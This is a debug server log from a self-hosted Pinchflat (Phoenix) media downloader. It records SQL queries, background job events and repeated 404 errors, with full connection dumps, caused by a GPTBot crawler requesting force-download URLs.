"settings" AS s0 LIMIT 1 [] 23:00:00.992 [debug] QUERY OK source="settings" db=0.1ms idle=929.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:00:00.993 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:00:00.993 [error] #PID<0.5211.0> running PinchflatWeb.Endpoint (connection #PID<0.5210.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/2/media/86/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/86/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5210.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/86/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49134}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/86", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5211.0>, params: %{}, path_info: ["sources", "2", "media", "86", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/2/media/86"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/2/media/86/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDiDYvIdgQVi9gAAYEC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5210.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/86/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49134}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/86", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/86/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5210.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/86/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49134}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/86", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5211.0>, params: %{}, path_info: ["sources", "2", "media", "86", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 23:00:28.996 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:00:58.997 [info] {"source":"oban","duration":970,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:00.701 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:01:03.425 [info] GET /sources/2/media/68/force_download 23:01:03.426 [debug] QUERY OK source="settings" db=0.2ms idle=1362.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:01:03.426 [debug] QUERY OK source="settings" db=0.1ms idle=1362.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:01:03.427 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:01:03.427 [error] #PID<0.5217.0> running PinchflatWeb.Endpoint (connection #PID<0.5216.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/2/media/68/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/68/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5216.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/68/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49258}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/68", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5217.0>, params: %{}, path_info: ["sources", "2", "media", "68", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/2/media/68"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/2/media/68/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDiHBUhqATI980AAYKC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5216.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/68/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49258}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/68", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/2/media/68/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5216.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/2/media/68/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49258}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/2/media/68", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5217.0>, params: %{}, path_info: ["sources", "2", "media", "68", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => { (truncated) 23:01:28.999 [info] {"source":"oban","duration":945,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:01:56.161 [info] GET /sources 23:01:56.161 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 23:01:56.161 [debug] QUERY OK source="settings" db=0.0ms idle=1097.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:01:56.161 [debug] QUERY OK source="settings" db=0.0ms idle=111.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:01:56.162 [debug] QUERY OK source="settings" db=0.1ms idle=98.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:01:56.162 [debug] QUERY OK source="settings" db=0.0ms idle=98.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:01:56.162 [debug] QUERY OK source="settings" db=0.0ms idle=98.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:01:56.171 [debug] QUERY OK source="sources" db=8.5ms idle=1.1ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 23:01:56.173 [debug] QUERY OK source="sources" db=1.6ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 23:01:56.175 [info] Sent 200 in 14ms 23:01:56.426 [info] CONNECTED TO Phoenix.LiveView.Socket in 70µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "fT0YGA8BHA0GPzI8PHoKZDdBWBAkNF4f2tBzNrODAPXrU2C6m0lDVp8Z", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:01:56.769 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 23:01:56.771 [debug] QUERY OK source="sources" db=1.3ms queue=0.1ms idle=607.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 23:01:56.774 [debug] QUERY OK source="sources" db=2.2ms idle=609.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 23:01:56.774 [debug] Replied in 5ms 23:01:56.777 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 23:01:56.777 [debug] Replied in 165µs 23:01:57.237 [info] GET /sources/1 23:01:57.237 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 23:01:57.238 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=1066.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:01:57.239 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1065.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", 